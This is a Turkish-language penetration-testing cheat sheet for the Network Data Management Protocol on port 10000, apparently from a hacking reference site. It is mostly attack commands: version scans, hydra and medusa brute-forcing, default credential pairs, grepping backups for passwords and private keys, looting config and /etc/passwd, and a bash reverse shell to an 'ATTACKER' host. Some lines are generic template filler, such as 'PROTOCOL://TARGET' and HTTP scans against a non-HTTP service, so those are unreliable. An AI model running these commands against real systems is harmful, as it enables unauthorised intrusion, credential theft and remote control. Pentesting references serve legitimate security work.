10000 - Pentesting Network Data Management Protocol (ndmp)
NDMP backup
NDMP yedek istemcisi ile tape/disk motoru arasında dosya listeler. Açık servis host/volume ve zayıf kimlik verir; yedekten secret çıkar.
Metodoloji
Section titled “Metodoloji”-
TCP/10000 NDMP ve sürümü doğrula.
-
Anonim/default kimlik dene.
-
fs-info / volume kataloğu çek.
-
Yedekten credential ve pivot malzemesi çıkar.
nmap -Pn -sV -p10000 TARGETnmap -Pn -p10000 --script ndmp-version,ndmp-fs-info TARGETmsfconsole -q -x 'use auxiliary/scanner/ndmp/ndmp_version; set RHOSTS TARGET; run; exit'nc -nv TARGET 10000Kimlik
Section titled “Kimlik”hydra -L users.txt -P pass.txt ndmp://TARGETnmap -p10000 --script ndmp-brute TARGETndmp/ndmp, root/root, backup/backup, admin/adminVolume & dosya
Section titled “Volume & dosya”nmap -p10000 --script ndmp-fs-info TARGETInteresting paths: /etc, webroot, VM disks, SQL dumpsstrings backup.dump | grep -iE 'password|BEGIN RSA|secret' | headPost-erişim
Section titled “Post-erişim”mkdir -p loot/ndmp && cp -a extracted loot/ndmp/grep -RniE 'password|apikey|secret' loot/ndmp | headDerin enum
Section titled “Derin enum”Network Data Management Protocol (ndmp) için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p10000 TARGETnmap -Pn -p10000 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:10000' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',10000));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → Network Data Management Protocol (ndmp)Kimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 10000 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 10000nmap -p10000 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit NDMPmsfconsole -q -x 'search NDMP; exit'nuclei -u https://TARGET:10000 -t cves/ -silent -severity || truenuclei -u http://TARGET:10000 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 10000printf '' | timeout 3 nc -nv TARGET 10000curl -vk --http1.0 http://TARGET:10000/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”ndmp-version → default creds → fs-info → backup extract → creds → lateral